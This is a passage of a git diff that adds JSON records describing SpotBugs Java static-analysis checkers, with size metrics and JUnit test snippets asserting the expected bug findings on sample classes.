\"iinc\", 6);\n assertBugInMethodAtLine(\"ASE_ASSERTION_WITH_SIDE_EFFECT\", \"AssertionsWithSideEffects\", \"storeBoolean\", 12);\n assertBugInMethodAtLine(\"ASE_ASSERTION_WITH_SIDE_EFFECT\", \"AssertionsWithSideEffects\", \"storeInt\", 18);\n assertBugInMethodAtLine(\"ASE_ASSERTION_WITH_SIDE_EFFECT_METHOD\", \"AssertionsWithSideEffects\", \"addAndRemove\", 26);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadCast2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadCast2.json new file mode 100644 index 0000000..e6ea720 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadCast2.json @@ -0,0 +1,13 @@ +{ + "name": "FindBadCast2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 660, + "branches": 115, + "apis": 211, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadEndOfStreamCheck.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadEndOfStreamCheck.json new file mode 100644 index 0000000..f3f515f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadEndOfStreamCheck.json @@ -0,0 +1,32 @@ +{ + "name": "FindBadEndOfStreamCheck", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 14, + "apis": 38, + "test": [ + { + "description": "testBadEndOfFileChecks", + "expected-problems": null, + "expected-linenumbers": [ + 11, + 34 + ], + "code": "@Test\n void testBadEndOfFileChecks() {\n performAnalysis(\"endOfStreamCheck/BadEndOfStreamCheck.class\");\n\n assertBugTypeCount(EOS_BUG_TYPE, 16);\n\n final String className = \"BadEndOfStreamCheck\";\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileInputStream1\", 12);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileInputStream2\", 25);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileInputStream3\", 39);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileInputStream4\", 55);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileInputStream5\", 70);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileInputStream6\", 83);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileInputStream7\", 97);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileInputStream8\", 113);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileReader1\", 128);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileReader2\", 141);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileReader3\", 155);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileReader4\", 171);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileReader5\", 186);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileReader6\", 199);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileReader7\", 213);\n assertBugInMethodAtLine(EOS_BUG_TYPE, className, \"badFileReader8\", 229);\n }" + }, + { + "description": "testGoodEndOfFileChecks", + "expected-problems": null, + "expected-linenumbers": [ + 36, + 41 + ], + "code": "@Test\n void testGoodEndOfFileChecks() {\n performAnalysis(\"endOfStreamCheck/GoodEndOfStreamCheck.class\");\n\n assertNoBugType(EOS_BUG_TYPE);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadForLoop.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadForLoop.json new file mode 100644 index 0000000..8d3a087 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBadForLoop.json @@ -0,0 +1,13 @@ +{ + "name": "FindBadForLoop", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 91, + "branches": 7, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBugsSummaryStats.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBugsSummaryStats.json new file mode 100644 index 0000000..375ac7d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindBugsSummaryStats.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugsSummaryStats", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 150, + "branches": 5, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindCircularDependencies.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindCircularDependencies.json new file mode 100644 index 0000000..4dfa0a9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindCircularDependencies.json @@ -0,0 +1,13 @@ +{ + "name": "FindCircularDependencies", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 205, + "branches": 27, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindComparatorProblems.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindComparatorProblems.json new file mode 100644 index 0000000..23ed4a5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindComparatorProblems.json @@ -0,0 +1,13 @@ +{ + "name": "FindComparatorProblems", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 136, + "branches": 13, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindDeadLocalStores.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindDeadLocalStores.json new file mode 100644 index 0000000..607d093 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindDeadLocalStores.json @@ -0,0 +1,13 @@ +{ + "name": "FindDeadLocalStores", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 767, + "branches": 110, + "apis": 202, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindDoubleCheck.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindDoubleCheck.json new file mode 100644 index 0000000..61f1394 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindDoubleCheck.json @@ -0,0 +1,13 @@ +{ + "name": "FindDoubleCheck", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 232, + "branches": 47, + "apis": 44, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindEmptySynchronizedBlock.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindEmptySynchronizedBlock.json new file mode 100644 index 0000000..09ae15d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindEmptySynchronizedBlock.json @@ -0,0 +1,13 @@ +{ + "name": "FindEmptySynchronizedBlock", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFieldSelfAssignment.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFieldSelfAssignment.json new file mode 100644 index 0000000..3abea9b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFieldSelfAssignment.json @@ -0,0 +1,13 @@ +{ + "name": "FindFieldSelfAssignment", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 194, + "branches": 27, + "apis": 50, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFinalizeInvocations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFinalizeInvocations.json new file mode 100644 index 0000000..2abfad8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFinalizeInvocations.json @@ -0,0 +1,13 @@ +{ + "name": "FindFinalizeInvocations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 12, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFloatEquality.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFloatEquality.json new file mode 100644 index 0000000..5168e5b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFloatEquality.json @@ -0,0 +1,13 @@ +{ + "name": "FindFloatEquality", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 200, + "branches": 34, + "apis": 37, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFloatMath.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFloatMath.json new file mode 100644 index 0000000..0d15060 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindFloatMath.json @@ -0,0 +1,13 @@ +{ + "name": "FindFloatMath", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 12, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindHEmismatch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindHEmismatch.json new file mode 100644 index 0000000..dc0e95a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindHEmismatch.json @@ -0,0 +1,13 @@ +{ + "name": "FindHEmismatch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 689, + "branches": 110, + "apis": 189, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindHiddenMethod.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindHiddenMethod.json new file mode 100644 index 0000000..6922651 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindHiddenMethod.json @@ -0,0 +1,194 @@ +{ + "name": "FindHiddenMethod", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 128, + "branches": 13, + "apis": 20, + "test": [ + { + "description": "testBadFindHiddenMethodTest", + "expected-problems": null, + "expected-linenumbers": [ + 9, + 15 + ], + "code": "@Test\n void testBadFindHiddenMethodTest() {\n performAnalysis(\"findhiddenmethodtest/GrantAccessStatic.class\",\n \"findhiddenmethodtest/BadFindHiddenMethodTest.class\");\n assertBugTypeCount(BUG_TYPE, 1);\n assertBugInMethodAtLine(BUG_TYPE, \"BadFindHiddenMethodTest\", \"displayAccountStatus\", 15);\n }" + }, + { + "description": "testBadFindHiddenMethodTest2", + "expected-problems": null, + "expected-linenumbers": [ + 17, + 23 + ], + "code": "@Test\n void testBadFindHiddenMethodTest2() {\n performAnalysis(\"findhiddenmethodtest/BadSuperClass.class\",\n \"findhiddenmethodtest/BadHidingVsOverriding.class\");\n assertBugTypeCount(BUG_TYPE, 1);\n assertBugInMethodAtLine(BUG_TYPE, \"BadHidingVsOverriding\", \"methodHiding\", 19);\n }" + }, + { + "description": "testBadFindHiddenMethodTest3", + "expected-problems": null, + "expected-linenumbers": [ + 26, + 33 + ], + "code": "@Test\n void testBadFindHiddenMethodTest3() {\n performAnalysis(\"findhiddenmethodtest/SuperBadInEqualMultipleMethod.class\",\n \"findhiddenmethodtest/BadInEqualMultipleStaticMethod.class\");\n assertBugTypeCount(BUG_TYPE, 2);\n assertBugInMethodAtLine(BUG_TYPE, \"BadInEqualMultipleStaticMethod\", \"display\", 25);\n assertBugInMethodAtLine(BUG_TYPE, \"BadInEqualMultipleStaticMethod\", \"display2\", 29);\n }" + }, + { + "description": "testBadFindHiddenMethodTest4", + "expected-problems": null, + "expected-linenumbers": [ + 35, + 41 + ], + "code": "@Test\n void testBadFindHiddenMethodTest4() {\n performAnalysis(\"findhiddenmethodtest/BadMainMethodCheck.class\",\n \"findhiddenmethodtest/BadSuperClassWithMain.class\");\n assertBugTypeCount(BUG_TYPE, 1);\n assertBugInMethodAtLine(BUG_TYPE, \"BadMainMethodCheck\", \"main\", 18);\n }" + }, + { + "description": "testBadFindHiddenMethodTest5", + "expected-problems": null, + "expected-linenumbers": [ + 43, + 50 + ], + "code": "@Test\n void testBadFindHiddenMethodTest5() {\n performAnalysis(\"findhiddenmethodtest/BadGrandClass.class\",\n \"findhiddenmethodtest/BadParentClass.class\",\n \"findhiddenmethodtest/BadMultiLevelInheritance.class\");\n assertBugTypeCount(BUG_TYPE, 1);\n assertBugInMethodAtLine(BUG_TYPE, \"BadMultiLevelInheritance\", \"display\", 20);\n }" + }, + { + "description": "testBadFindHiddenMethodTest6", + "expected-problems": null, + "expected-linenumbers": [ + 52, + 59 + ], + "code": "@Test\n void testBadFindHiddenMethodTest6() {\n performAnalysis(\"findhiddenmethodtest/SuperBadMultipleMethods.class\",\n \"findhiddenmethodtest/BadMultipleStaticMethods.class\");\n assertBugTypeCount(BUG_TYPE, 2);\n assertBugInMethodAtLine(BUG_TYPE, \"BadMultipleStaticMethods\", \"display\", 19);\n assertBugInMethodAtLine(BUG_TYPE, \"BadMultipleStaticMethods\", \"display2\", 23);\n }" + }, + { + "description": "testBadFindHiddenMethodTest7", + "expected-problems": null, + "expected-linenumbers": [ + 61, + 68 + ], + "code": "@Test\n void testBadFindHiddenMethodTest7() {\n performAnalysis(\"findhiddenmethodtest/SuperBadNonOrderedMultipleStaticMethods.class\",\n \"findhiddenmethodtest/BadNonOrderedMultipleStaticMethods.class\");\n assertBugTypeCount(BUG_TYPE, 2);\n assertBugInMethodAtLine(BUG_TYPE, \"BadNonOrderedMultipleStaticMethods\", \"display\", 24);\n assertBugInMethodAtLine(BUG_TYPE, \"BadNonOrderedMultipleStaticMethods\", \"display2\", 28);\n }" + }, + { + "description": "testBadFindHiddenMethodTest8", + "expected-problems": null, + "expected-linenumbers": [ + 70, + 76 + ], + "code": "@Test\n void testBadFindHiddenMethodTest8() {\n performAnalysis(\"findhiddenmethodtest/BadOuterInnerClass.class\",\n \"findhiddenmethodtest/BadOuterInnerClass$BadInner.class\");\n assertBugTypeCount(BUG_TYPE, 1);\n assertBugInMethodAtLine(BUG_TYPE, \"BadOuterInnerClass$BadInner\", \"badMethod\", 15);\n }" + }, + { + "description": "testBadFindHiddenMethodTest9", + "expected-problems": null, + "expected-linenumbers": [ + 78, + 84 + ], + "code": "@Test\n void testBadFindHiddenMethodTest9() {\n performAnalysis(\"findhiddenmethodtest/SuperBadProtected.class\",\n \"findhiddenmethodtest/BadProtected.class\");\n assertBugTypeCount(BUG_TYPE, 1);\n assertBugInMethodAtLine(BUG_TYPE, \"BadProtected\", \"display\", 15);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest", + "expected-problems": null, + "expected-linenumbers": [ + 86, + 91 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest() {\n performAnalysis(\"findhiddenmethodtest/GrantAccess.class\",\n \"findhiddenmethodtest/GoodFindHiddenMethodTest.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest2", + "expected-problems": null, + "expected-linenumbers": [ + 93, + 98 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest2() {\n performAnalysis(\"findhiddenmethodtest/SuperGoodInEqualMultipleMethod.class\",\n \"findhiddenmethodtest/GoodInEqualNonStaticMethods.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest3", + "expected-problems": null, + "expected-linenumbers": [ + 100, + 105 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest3() {\n performAnalysis(\"findhiddenmethodtest/GoodSuperClassWithMain.class\",\n \"findhiddenmethodtest/GoodMainMethodCheck.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest4", + "expected-problems": null, + "expected-linenumbers": [ + 107, + 113 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest4() {\n performAnalysis(\"findhiddenmethodtest/GoodGrandNonStatic.class\",\n \"findhiddenmethodtest/GoodParentNonStatic.class\",\n \"findhiddenmethodtest/GoodMultiLevelInheritanceNonStatic.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest5", + "expected-problems": null, + "expected-linenumbers": [ + 115, + 121 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest5() {\n performAnalysis(\"findhiddenmethodtest/GoodGrandClassPrivate.class\",\n \"findhiddenmethodtest/GoodParentClassPrivate.class\",\n \"findhiddenmethodtest/GoodMultiLevelInheritancePrivate.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest6", + "expected-problems": null, + "expected-linenumbers": [ + 123, + 128 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest6() {\n performAnalysis(\"findhiddenmethodtest/SuperMultipleNonStatic.class\",\n \"findhiddenmethodtest/GoodMultipleNonStaticMethods.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest7", + "expected-problems": null, + "expected-linenumbers": [ + 130, + 135 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest7() {\n performAnalysis(\"findhiddenmethodtest/SuperGoodMultipleStaticMethod.class\",\n \"findhiddenmethodtest/GoodMultipleStaticMethod.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest8", + "expected-problems": null, + "expected-linenumbers": [ + 137, + 142 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest8() {\n performAnalysis(\"findhiddenmethodtest/SuperGoodNonOrderedMultipleStaticMethods.class\",\n \"findhiddenmethodtest/GoodNonOrderedMultipleNonStaticMethods.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest9", + "expected-problems": null, + "expected-linenumbers": [ + 144, + 149 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest9() {\n performAnalysis(\"findhiddenmethodtest/GoodOuterInnerClassNonStatic.class\",\n \"findhiddenmethodtest/GoodOuterInnerClassNonStatic$GoodInnerNonStaticGood.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest10", + "expected-problems": null, + "expected-linenumbers": [ + 151, + 156 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest10() {\n performAnalysis(\"findhiddenmethodtest/GoodOuterInnerClassPrivate.class\",\n \"findhiddenmethodtest/GoodOuterInnerClassPrivate$GoodInnerClassPrivate.class\");\n assertNoBugType(BUG_TYPE);\n }" + }, + { + "description": "testGoodFindHiddenMethodTest11", + "expected-problems": null, + "expected-linenumbers": [ + 158, + 163 + ], + "code": "@Test\n void testGoodFindHiddenMethodTest11() {\n performAnalysis(\"findhiddenmethodtest/SuperGoodProtected.class\",\n \"findhiddenmethodtest/GoodProtected.class\");\n assertNoBugType(BUG_TYPE);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindInconsistentSync2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindInconsistentSync2.json new file mode 100644 index 0000000..746a824 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindInconsistentSync2.json @@ -0,0 +1,13 @@ +{ + "name": "FindInconsistentSync2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1094, + "branches": 161, + "apis": 237, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindInstanceLockOnSharedStaticData.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindInstanceLockOnSharedStaticData.json new file mode 100644 index 0000000..db91894 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindInstanceLockOnSharedStaticData.json @@ -0,0 +1,13 @@ +{ + "name": "FindInstanceLockOnSharedStaticData", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 121, + "branches": 10, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindJSR166LockMonitorenter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindJSR166LockMonitorenter.json new file mode 100644 index 0000000..e4e5510 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindJSR166LockMonitorenter.json @@ -0,0 +1,13 @@ +{ + "name": "FindJSR166LockMonitorenter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 251, + "branches": 35, + "apis": 62, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindLocalSelfAssignment2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindLocalSelfAssignment2.json new file mode 100644 index 0000000..f789527 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindLocalSelfAssignment2.json @@ -0,0 +1,13 @@ +{ + "name": "FindLocalSelfAssignment2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 111, + "branches": 11, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindMaskedFields.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindMaskedFields.json new file mode 100644 index 0000000..fb109e5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindMaskedFields.json @@ -0,0 +1,13 @@ +{ + "name": "FindMaskedFields", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 256, + "branches": 40, + "apis": 67, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindMismatchedWaitOrNotify.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindMismatchedWaitOrNotify.json new file mode 100644 index 0000000..1de699d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindMismatchedWaitOrNotify.json @@ -0,0 +1,13 @@ +{ + "name": "FindMismatchedWaitOrNotify", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 177, + "branches": 20, + "apis": 38, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNakedNotify.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNakedNotify.json new file mode 100644 index 0000000..d4d3d3d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNakedNotify.json @@ -0,0 +1,13 @@ +{ + "name": "FindNakedNotify", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 107, + "branches": 13, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNoSideEffectMethods.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNoSideEffectMethods.json new file mode 100644 index 0000000..8213d8a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNoSideEffectMethods.json @@ -0,0 +1,13 @@ +{ + "name": "FindNoSideEffectMethods", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1041, + "branches": 190, + "apis": 272, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonSerializableStoreIntoSession.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonSerializableStoreIntoSession.json new file mode 100644 index 0000000..f55c837 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonSerializableStoreIntoSession.json @@ -0,0 +1,13 @@ +{ + "name": "FindNonSerializableStoreIntoSession", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 155, + "branches": 18, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonSerializableValuePassedToWriteObject.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonSerializableValuePassedToWriteObject.json new file mode 100644 index 0000000..d9b30c7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonSerializableValuePassedToWriteObject.json @@ -0,0 +1,13 @@ +{ + "name": "FindNonSerializableValuePassedToWriteObject", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 162, + "branches": 20, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonShortCircuit.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonShortCircuit.json new file mode 100644 index 0000000..236977d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNonShortCircuit.json @@ -0,0 +1,50 @@ +{ + "name": "FindNonShortCircuit", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 302, + "branches": 64, + "apis": 11, + "test": [ + { + "description": "testDefaultBugTypeAndPriority", + "expected-problems": null, + "expected-linenumbers": [ + 34, + 39 + ], + "code": "@Test\n void testDefaultBugTypeAndPriority() {\n BugInstance bug = check.createBugInstance();\n assertEquals(FindNonShortCircuit.NS_NON_SHORT_CIRCUIT, bug.getType());\n assertEquals(Priorities.LOW_PRIORITY, bug.getPriority());\n }" + }, + { + "description": "testBugTypeAndPriorityDangerOld", + "expected-problems": null, + "expected-linenumbers": [ + 41, + 47 + ], + "code": "@Test\n void testBugTypeAndPriorityDangerOld() {\n check.sawDangerOld = true;\n BugInstance bug = check.createBugInstance();\n assertEquals(FindNonShortCircuit.NS_NON_SHORT_CIRCUIT, bug.getType());\n assertEquals(Priorities.NORMAL_PRIORITY, bug.getPriority());\n }" + }, + { + "description": "testBugTypeAndPriorityNullTestOld", + "expected-problems": null, + "expected-linenumbers": [ + 49, + 56 + ], + "code": "@Test\n void testBugTypeAndPriorityNullTestOld() {\n check.sawDangerOld = true;\n check.sawNullTestVeryOld = true;\n BugInstance bug = check.createBugInstance();\n assertEquals(FindNonShortCircuit.NS_NON_SHORT_CIRCUIT, bug.getType());\n assertEquals(Priorities.HIGH_PRIORITY, bug.getPriority());\n }" + }, + { + "description": "testBugTypeAndPriorityMethodCallOld", + "expected-problems": null, + "expected-linenumbers": [ + 58, + 65 + ], + "code": "@Test\n void testBugTypeAndPriorityMethodCallOld() {\n check.sawDangerOld = true;\n check.sawMethodCallOld = true;\n BugInstance bug = check.createBugInstance();\n assertEquals(FindNonShortCircuit.NS_DANGEROUS_NON_SHORT_CIRCUIT, bug.getType());\n assertEquals(Priorities.HIGH_PRIORITY, bug.getPriority());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNullDeref.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNullDeref.json new file mode 100644 index 0000000..6f49ab7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/FindNullDeref.json @@ -0,0 +1,13 @@ +{ + "name": "FindNullDeref", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1923, + "branches": 321, + "apis": 502, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule 